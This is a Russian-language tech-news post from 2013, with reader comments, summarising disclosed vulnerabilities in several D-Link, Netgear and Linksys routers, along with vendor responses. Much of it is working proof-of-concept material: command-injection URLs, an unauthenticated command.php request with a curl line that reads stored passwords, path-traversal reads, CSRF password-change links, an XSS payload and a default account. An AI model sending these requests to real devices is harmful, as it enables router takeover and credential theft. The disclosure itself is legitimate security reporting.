0,0
рейтинг
7 февраля 2013 в 22:03

Разработка → Очередные уязвимости нулевого дня в различных роутерах

Похоже, начало года не задалось для производителей роутеров. Буквально сегодня я сообщал о критических уязвимостях в роутерах различных производителей, связанных с небезопасной обработкой протокола UPnP. И вот ещё одна новость на эту же тему. На сей раз уязвимости совершенно разные. Затронуто оборудование:

  • D-Link DIR-615, DIR-600 и DIR-300 (rev B)
  • Netgear DGN1000B
  • Cisco Linksys E1500/E2500
  • Netgear SPH200D


Уязвимости довольно различны, но их объединяет несколько фактов: один автор и нежелание вендора выпускать патч (если верить автору).

D'Link DIR-615
Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013. Правда, я не смог найти эти версии на официальном сайте вендора.

Выполнение произвольных команд ОС роутера


Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_ipaddr

Пример:

http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=

http://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr=


ответ на команду приходит в теле HTTP-ответа:

HTTP/1.0 200 OK
Pragma: no-cache
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript" src="common.js.htm"></script>
<script language="javascript">
CommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS});
var pingResult="Domain";
var pingip="ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown"; <<==
var vctinfo= [
{ethport:'0', status:'0', rate:'0', dup:'0'},
{ethport:'1', status:'0', rate:'0', dup:'0'},
{ethport:'2', status:'0', rate:'0', dup:'0'},


Может, кто спросит: «В чём же уязвимость, если авторизованному пользователю только это возможно»? Объясню: злоумышленник может воспользоваться социальной инженерией и кинуть владельцу роутера специально сформированную ссылку.

Раскрытие информации

GET-запрос на адрес вида
http://IP_роутера/gconfig.htm


вернёт нам:

var ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0} 

Изменение пароля без ввода старого


Достаточно послать GET-запрос с таким содержимым:

http://IP_роутера/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615


Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.


DIR-600 / DIR 300 - HW rev B1
DIR-300 — уязвимы версии:
  • 2.12 от 18.01.2012
  • 2.13 от 07.11.2012


DIR-600 — уязвимы версии:
  • 2.12b02 от 17/01/2012
  • 2.13b01 от 07/11/2012
  • 2.14b01 от 22/01/2013


Выполнение произвольных команд ОС роутера


Не авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре cmd

Пример — запуск сервера telnetd

Request:
POST /command.php HTTP/1.1
Host: 192.168.178.222
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.178.222/
Content-Length: 15
Cookie: uid=hfaiGzkB4z
Pragma: no-cache
Cache-Control: no-cache

cmd=telnetd;


Небезопасное хранение чувствительной информации



Пароли на устройстве хранятся в открытом виде, без хеширования:
# cat var/passwd
"admin" "test" "0"


Просмотреть текущий пароль пользователя возможно вот так:

root@bt:~# curl --data "cmd=cat /var/passwd" http://<Target IP>/command.php
"admin" "THESECRETPASS" "0"


Раскрытие информации


Запрос вида:
http://Target-IP/DevInfo.txt


вернёт нам:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.14
Date: Fri, 31 Dec 1999 18:04:13 GMT
Content-Length: 267

Firmware External Version: V2.14
Firmware Internal Version: d1mg
Model Name: DIR-600
Hardware Version: Bx
WLAN Domain: 826
Kernel: 2.6.33.2
Language: en
Graphcal Authentication: Disable
LAN MAC: <snip>
WAN MAC: <snip>
WLAN MAC: <snip>


Представители D-Link были оповещены о проблемах в безопасности, но заявили, что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.



Netgear SPH200D
Уязвимые версии прошивок:

Firmware Version: 1.0.4.80
Kernel Version: 4.1-18
Web Server Version: 1.5

Чтение файлов на устройстве



Авторизованный пользователь может читать файлы на устройстве
http://IP_роутера/../../etc/passwd


вернёт ответ вида:
HTTP/1.0 200 OK
Content-type: text/plain
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

root:x:0:0:root:/root:/bin/bash
demo:x:5000:100:Demo User:/home/demo:/bin/bash
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash


аналогично происходит чтение каталогов:

/../../var/

HTTP/1.0 200 OK
Content-type: text/html
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

<H1>Index of ../../var/</H1>

<p><a href="/../../var/.">.</a></p>
<p><a href="/../../var/..">..</a></p>
<p><a href="/../../var/.Skype">.Skype</a></p>
<p><a href="/../../var/jffs2">jffs2</a></p>
<p><a href="/../../var/htdocs">htdocs</a></p>
<p><a href="/../../var/cnxt">cnxt</a></p>
<p><a href="/../../var/ppp">ppp</a></p>
<p><a href="/../../var/conf">conf</a></p>
<p><a href="/../../var/bin">bin</a></p>
<p><a href="/../../var/usr">usr</a></p>
<p><a href="/../../var/tmp">tmp</a></p>


Но т.к. необходимо быть авторизованным на устройстве и необходимо получить ответ на запрос — не совсем ясно каким образом злоумышленник может этим воспользоваться

Межсайтовый скриптинг


image

Наличие «заводского» аккаунта


По-умолчанию, на устройстве существует аккаунт с логином: паролем service:service. Я так понимаю нет возможности его поменять предоставляемыми штатными средствами.

Производитель был уведомлён о проблемах безопасности в августе 2012, но не отреагировал.



Linksys E1500/E2500
Уязвимые версии прошивок:
e1500:
  • v1.0.00 — build 9 -февраль 17, 2011
  • v1.0.04 — build 2 — март 8, 2012
  • v1.0.05 — build 1 — август 23, 2012


e2500
  • v1.0.03


Выполнение произвольных команд ОС роутера


Авторизованный пользователь может выполнить произвольную команду на устройстве, отправив GET-запрос, в котором команды будут переданы в параметре ping_size

Пример:
http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip=


Раскрытие директорий


Пример:

POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version


Придёт ответ вида:

HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:00:29 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 HKT 2012


Изменение пароля без ввода старого


Авторизованный пользователь может поменять пароль, отправив специально сформированный POST-запрос на устройство:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/Management.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 311

submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0 


CSRF-атака для смены пароля:


http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0


Межсайтовый скриптинг


POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 300

submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0


Редирект на другой сайт



POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 290

submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0




Ссылки на первоисточник:

  1. Multiple Vulnerabilities in D'Link DIR-600 and DIR-300 (rev B)
  2. Multiple Vulnerabilities in D'Link DIR-615
  3. Multiple Vulnerabilities in Netgear SPH200D [Update: 03.02.2013]
  4. Multiple Vulnerabilities in Linksys E1500/E2500
Агиевич Игорь aka shanker @shanker
карма
8,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (14)

  • +10
    И за что я люблю OpenWRT?
  • +5
    А D-Link молодцы, грамотно отмазались.
    • +1
      Скорее безграмотно
      • 0
        Но ответственность перекинули.
    • +1
      «Мы тут посовещались и решили, что защититься от CSRF наши индусы не осилят, поэтому свалим всю вину на пользователя» — это грамотно?
      • +4
        Сарказм
    • +5
      Конечно грамотно. Пользователя виноваты в том что купили D-link и не поставили альтернативную прошивку.
    • 0
      По-моему, надо учредить премию за самый эпичнейший факап и в этом месяце выдать её длинку, пусть купят немного толковых программистов.
  • –2
    Вроде у всех роутеров разлогинивание по таймауту через несколько минут. Так что не вижу проблемы в этой CSRF атаке.
  • 0
    Проверил на своём DIR-615 Rev. E — ничего не сработало.
    • 0
      «Утверждается что проблема в ревизии H1, прошивки версии 8.04 от 4 сентября 2012 и 8.04 от 18 января 2013.»
      • 0
        Правда, я не смог найти эти версии на официальном сайте вендора.

        Если бы не было этой фразы, то я бы и не писал. Написал в подтверждение той цитаты, которую привели вы.
  • 0
    По поводу Netgear: А зайти консолью и закомментить соответствующего юзера в /etc/passwd это не решает проблему?

    Хотя это вряд ли можно назвать штатным средством…
    • 0
      Вполне возможно, что редактируется только в оперативной памяти, а при перезагрузке — то же самое опять будет.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.